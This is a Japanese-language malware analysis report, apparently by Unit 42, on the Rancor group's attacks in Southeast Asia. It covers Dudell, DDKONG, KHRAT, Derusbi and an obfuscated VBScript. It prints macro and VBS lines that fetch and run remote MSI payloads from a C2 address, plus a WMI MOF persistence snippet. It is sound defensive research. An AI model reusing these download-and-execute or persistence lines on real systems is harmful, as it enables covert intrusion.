This post is also available in: English (英語)
概要
2018年6月下旬、パロアルトネットワークス脅威インテリジェンス調査チームUnit 42は、それまで知られていなかったサイバースパイグループRancorに関する記事を公開しました。同グループは、2017年から2018年にかけて東南アジアで標的型攻撃を実行しており、最近では2018年12月から2019年1月にかけて、カンボジアの少なくとも1つの政府機関を持続的に標的に攻撃を実行しています。これらの攻撃を調査するなかで、それまで文書化されたことのないカスタムマルウェアファミリが見つかり、私たちはそれをDudellと名付けました。このほか、同グループがDerusbiと呼ばれるマルウェアファミリを使用していることもつきとめました。Derusbiは、中国の特定サイバースパイの小さなサブグループ特有のものと考えられているマルウェアファミリです。
攻撃の詳細
Rancorグループは、2018年12月上旬から2019年1月末にかけ、被害者のシステムにDerusbiまたはKHRatマルウェアをインストールすることを目的とし、少なくとも2ラウンド分の攻撃を実行していました。2019年1月の攻撃では、149.28.156[.]61を経由してDerusbiまたはKHRatサンプルのいずれかを配信し、この際のC2としてcswksfwq.kfesv[.]xyzまたはconnect.bafunpda[.]xyzのいずれかを利用していました。
マルウェアの概要
DUDELL
SHA256値 | 0d61d9baab9927bb484f3e60384fdb6a3709ca74bc6175ab16b220a68f2b349e |
ファイルタイプ | Microsoft Excel 97 – 2003 文書 |
ファイル名 | Equipment Purchase List 2018-2020(Final).xls |
表1 DUDELLファイルのプロパティ
DUDELLサンプルは悪意のあるマクロを含む兵器化されたMicrosoft Excelドキュメントで、これが被害端末上で実行されます。同サンプルのとる悪意のある振る舞いは、以前にCheck Pointが『Rancor: The Year of The Phish(SHA-1 c829f5f9ff89210c888c1559bb085ec6e65232de)』で報告した内容と同じでした。ただし、Check Pointブログのサンプルは2018年12月のもので、今回のサンプルは2018年4月のものです。本サンプルには、次のプロパティ(メタデータ)が含まれています。
Codepage | 1252 |
Author | MS |
Last author | MS |
Application name | Microsoft Excel |
Creation time | Mon Oct 14 23:33:28 1996 |
Last Save time | Wed Apr 11 02:18:59 2018 |
Security type | 0 |
表2 DUDELLファイルのプロパティ
ユーザーがこのドキュメントを表示して[コンテンツを有効にする]をクリックすると、ドキュメント内のマクロが実行されます。この時点で同マクロはドキュメントの [Company] プロパティ フィールド以下のデータを見つけて実行します。[Company] フィールド以下のデータは次のとおりです。
1 |
cmd /c set /p=Set v=CreateObject(^"Wscript.Shell^"):v.Run ^"msiexec /q /i http://199.247.6[.]253/ud^",false,0 <nul > C:\Windows\System32\spool\drivers\color\tmp.vbs |
表3 [Company] フィールドのデータ
Rancorグループは、上記の表5に記載されている199.247.6[.]253のC2サーバーを使用していることが知られています。このスクリプトは、Microsoftのmsiexecツール経由で第2段階のペイロードをダウンロードします。残念ながら、同スクリプトの発見時には、すでにここにホスティングされていたファイルは利用できなくなっていました。私たちのシステムはtmp.vbsというファイルハッシュの記録には成功していましたがこのファイルの内容は今となってはわかりません。ハッシュ値については以下の表5を参照してください。ファイル名とディレクトリをもとにさらに探索を続けたところ、Rancorのアクターが使用する同様のVBSスクリプトが見つかりました。このファイルからtmp.vbsの内容がどのようなものであったかについて類推できるかもしれません。そのファイル office.vbs (SHA256: 4b0b319b58c2c0980390e24379a2e2a0a1e1a91d17a9d3e26be6f4a39a7afad2) は、c:\Windows\System32\spool\drivers\color ディレクトリ以下で見つかりました。内容は次のとおりです。
1 |
Set v=CreateObject(“Wscript.Shell”):v.Run “msiexec /q /i http://199.247.6[.]253/OFFICE”,false,0 |
表4 office.vbsの内容
SHA256値 | b958e481c90939962081b9fb85451a2fb28f705d5b5060f5d9d5aebfb390f832 |
表5 tmp.vbsのハッシュ値
仮に tmp.vbs というこのファイルがこの office.vbs と似たものであるとすれば、感染システムにさらにペイロードをダウンロードする攻撃の一部を担うものだったと考えられます。
DDKONGプラグイン
SHA256値 | 0EB1D6541688B5C87F620E76219EC5DB8A6F05732E028A9EC36195D7B4F5E707 |
コンパイルされた日時 | 2017-02-17 08:33:45 AM |
ファイルタイプ | PE32 executable (DLL) Intel 80386, for MS Windows |
ファイル名 | History.nls |
表6 DDKONGプラグインのプロパティ
同マルウェアは、以下のエクスポートエントリ1つだけで構成されています。
- DllInstall
ただロードしただけでは何も起こらないことから、DllInstallエクスポート関数がこのマルウェアの中核となる動作を担うものです。同関数は、呼び出されるとHello Google!というキャプションが付いた非表示ウィンドウとGoogleというクラス名をチェックします(下図1参照)。このチェックは、マルウェアインスタンスが1度に1つだけ実行されていることを確認する目的で実行されています。
図1 DDKONGプラグインの非表示ウィンドウのプロパティ
マルウェアが作成するこの非表示ウィンドウは、ユーザーによる入力(キーボードやマウスの操作)をフィルタリングします。通常、サンドボックス環境ではマウスやキーボードの操作が起こらないため、フィルタリングはサンドボックス分析の回避を狙ったものかもしれません。次にマルウェアは設定されたリモートサーバーcswksfwq.kfesv[.]xyzのTCPポート8080にビーコンを送信します。リモートサーバーとの接続に成功すると、マルウェアは、ホスト名、IPアドレス、ランゲージパックなど、被害者の情報を他のオペレーティングシステム情報とともに送信します。このとき送信されるデータはXORでエンコードされています。マルウェアは次の機能をサポートしています。
- 特定プロセスの終了
- プロセスの列挙
- ファイルのアップロード
- ファイルのダウンロード
- ファイルの削除
- フォルダ内容の一覧表示
- ストレージボリュームの列挙
- コマンド実行
- リバースシェル
- スクリーンショット撮影
KHRAT
SHA256値 | aaebf987b8d80d71313c3c0f2c16d60874ffecbdda3bb6b44d6cba6d38031609 |
コンパイルされた日時 | 2018-05-02 05:22:23 PM |
ファイルタイプ | PE32 executable (DLL) Intel 80386, for MS Windows |
ファイル名 | 8081.dll |
表7. KHRATのプロパティ
同マルウェアは、以下のエクスポートエントリ1つだけで構成されています。
- Rmcmd
このDLLは初回ロード時に必要な追加モジュール(DLL)を解決しインポートします。ロード後にrmcmdのエクスポートエントリが呼び出されると、gkdflbmdfkという名前のWindowsミューテックスが作成されます。これにより、マルウェアのコピーは同時に1つだけ実行されていることが保証されます。次にマルウェアは設定されたドメインconnect.bafunpda[.]xyzのTCPポート8081宛にビーコンを送信します。このマルウェアはホストからホスト名などのデータを収集し、XORエンコードして送信します。ネットワークトラフィックの最初のバイトがそのキーです。マルウェアは次の機能をサポートしています。
- リバースシェル
このマルウェアの振る舞いとコードには、2018年5月の古いKHRATサンプルとの共通点が見られます。このサンプル (SHA256: bc1c3e754be9f2175b718aba62174a550cdc3d98ab9c36671a58073140381659) は、同じエクスポートエントリ名を持っており、こちらもやはりリバースシェルです。新しいサンプルは、もとになったリバースシェルとしての動作はそのままに、最適化を図って書き直したもののようです。
Derusbi
SHA256値 | 83d1d181a6d583bca2f03c3c4e517757a766da5f4c1299fbbe514b3e2abd9e0d |
コンパイルされた日時 | 2012-09-14 09:20:12 AM |
ファイルタイプ | PE32 executable (DLL) Intel 80386, for MS Windows |
ファイル名 | 32.dll |
表8. Derusbiのプロパティ
Derusbiは、Rancorグループを含む少数の特定攻撃グループが使用していると考えられているバックドア型トロイの木馬です。この特定のサンプルは、暗号化された特定機能用ペイロードをロードするローダーです。このDLLは、埋め込みペイロード解読用にコマンドラインに指定する32バイトのキーを含むロード対象実行可能ファイルを必要としますが、残念ながらこのペイロードは入手できていません。これら復号キーやローダーは入手できなかったものの、興味深いアーティファクトはいくつか見つかりました。
- サンプルをロードするモジュール名がmyapp.exeならモジュールを終了する
- ロードされたら6秒間スリープする
- \\.\pipe\_kernel32.dll.ntdll.dll.user32.dllという名前のWindowsパイプを探す
- \Device\acpi_010221という名前のWindowsデバイスを探す
- 次のレジストリキーを作成する
- HKEY_CLASSES_ROOT\CDO.SS_NNTPOnPostEarlySink.2
- IDX、Verという2つのDWORD値
- 暗号化データをこれらのキーに保存する
- 埋め込まれたペイロードを復号する暗号化ルーチンはMS_ENH_RSA_AES_PROV
RancorのVBScript
2019年7月、私たちはRancorグループに関連付けられるChrome.vbs(SHA256:0C3D4DFA566F3064A8A408D3E1097C454662860BCACFB6675D2B72739CE449C2)という名前の興味深いVBScriptを発見しました。この特定VBScriptのペイロードは、bafunpda[.]xyzというドメインへビーコンを送信します。このドメインは、上記表2に記載したトロイの木馬KHRATでも使用されています。このVBScriptは難読化されており、一連の永続的アーティファクトを使ってターゲットを感染させるためのパックされたデータが含まれています。VBScriptが実行されたときの振る舞いを次の図に示します。
図2 VBScriptの実行フロー
図2は、VBScriptがホストで実行されたさいのフローを視覚的に表現したもので、スクリプトは次のアクションを実行します。
- regsvr32.exe を%windir%\syswow64から%windir%\spoolsw.exeという名前でコピーする
- vdfjgklffsdfmv.txtという名前のテキストファイルをホストの%TMP%フォルダに作成する。このファイルはテキストファイルではなくWindows Management Object ファイル(MOF)
- Windows mofcomp.exeを実行し、それに上記で作成されたMOFファイルを渡す
- classes、mediaという2つのレジストリキーにデータを追加する。データはデフォルトのキーに保存される
- 上記で作成したレジストリキーclassesからデータのblobを読み取り、データをファイル%windir%\pla.datに保存する
VBScriptによって作成されたMOFファイルは、Windows Management Instrumentation(WMI)イベントサブスクリプションを介した永続化メカニズムとして使用されます。MOFファイルはCommon Information Model(CIM)クラスを記述したコンパイル済みスクリプトで、これがWMIリポジトリへとコンパイルされます。この手法はMITRE ATT&CK IDT1084で説明されています。この特定MOFファイルは、5秒ごとにトリガーされるタイマーイベントを作成します。MOFファイルのスニペットは次の図3のとおりです。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
instance of CommandLineEventConsumer as $Cons { Name = "SCM Event Log Filter"; RunInteractively=false; CommandLineTemplate="c:\\windows\\spoolsw.exe /s /n /i c:\\windows\\pla.dat"; }; instance of __EventFilter as $Filt { Name = "SCM Event Log Filter"; EventNamespace = "Root\\Cimv2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; |
図3 MOFファイルのスニペット
図3は、MOFファイルの主な機能を示したものです。MOFファイルは「SCM Event Log Filter」という一意な名前を持ち、/s /n /i というパラメータを指定し、ファイルpla.datを渡してspoolsw.exeを5秒ごとに実行します。先のVBScriptのフローでも説明したとおり、spoolsw.exeは実際にはホストのWindowsシステムのregsvr32.exeです。regsvr32.exeは、モジュール(DLL)を登録するWindowsツールで、このツールにパラメーター「メッセージボックスを表示しないこと(/s)」、「DllRegisterServerやDllUnregisterServer を呼び出さないこと(/ n)」、「DllInstall を呼び出すこと(/i)」を渡してregsvr32に指示しています。したがってファイルpla.datはDLLであるはずです。
VBScriptによって作成されるレジストリ値は次のとおりです。
- HKEY_CURRENT_USER\Software\Classes
- これにはDLLのx86コードが含まれています。0x4の最初のバイトが欠けていますが、これはファイルpla.datの作成時にVBScriptによって追加されます。
HKEY_CURRENT_USER\Software\Classesの埋め込みレジストリデータのファイルプロパティ
SHA256値 | DB982B256843D8B6429AF24F766636BB0BF781B471922902D8DCF08D0C58511E |
コンパイルされた日時 | 2018-04-24 10:51:14 PM |
ファイルタイプ | PE32 executable (DLL) Intel 80386, for MS Windows |
Export Table | DllInstall |
表9 Reg Classesの埋め込みデータプロパティ
このレジストリキーに埋め込まれたDLLは、レジストリHKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mediaからコードをロードする単純なローダーです。
- HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Media
- DLLのx86コードとシェルコードが含まれています。レジストリに保存されたデータは、0x9CのXORキーでエンコードされています。
SHA256値 | CC081FFEA6F4769733AF9D0BAE0308CA0AE63667FA225E7965DF0884E96E2D2A |
コンパイルされた日時 | 2018-01-10 09:16:42 PM |
ファイルタイプ | PE32 executable (DLL) Intel 80386, for MS Windows |
表10 デコードされたmedia のDLLデータのプロパティ
mediaレジストリキーのDLLは、トロイの木馬KHRATの亜種です。この亜種はドメインconnect.bafunpda[.]xyz にビーコンを送信し、TCPポート4433への接続を試行します。これは、上記表2に記載したトロイの木馬KHRATが使用するドメインと同じもので、その振る舞いも同じです。
結論
遅くとも2017年には活動を開始していたサイバースパイグループRancorは、東南アジアで標的型攻撃を継続しています。同グループは、文書化されたことのないカスタムマルウェアファミリDudell を使用して悪意のあるマクロを実行後、第2ステージのペイロードをダウンロードしていることが確認されています。 このほか同グループは、標的環境への侵入後、Derusbiというマルウェアファミリを使って2段階目のペイロードをロードしていることも確認されています。
パロアルトネットワークス製品をご利用中のお客様は、同脅威から保護されています。弊社の Threat Prevention プラットフォームでは、 Wildfire がこれらマルウェアファミリを検出します。この検出と並行し、侵害が確認されたドメインはPAN-DBのURLフィルタリングソリューション 内で「malware」に分類が更新されます。AutoFocus をお使いのお客様は、当該攻撃者グループを次のタグでさらに詳しく調査できます。
IOC
SHA256:
- 0EB1D6541688B5C87F620E76219EC5DB8A6F05732E028A9EC36195D7B4F5E707
- AAEBF987B8D80D71313C3C0F2C16D60874FFECBDDA3BB6B44D6CBA6D38031609
- 0D61D9BAAB9927BB484F3E60384FDB6A3709CA74BC6175AB16B220A68F2B349E
- DB982B256843D8B6429AF24F766636BB0BF781B471922902D8DCF08D0C58511E
- CC081FFEA6F4769733AF9D0BAE0308CA0AE63667FA225E7965DF0884E96E2D2A
- BC1C3E754BE9F2175B718ABA62174A550CDC3D98AB9C36671A58073140381659
- 83d1d181a6d583bca2f03c3c4e517757a766da5f4c1299fbbe514b3e2abd9e0d
C2サーバー
- cswksfwq.kfesv[.]xyz
- Connect.bafunpda[.]xyz
- 199.247.6[.]253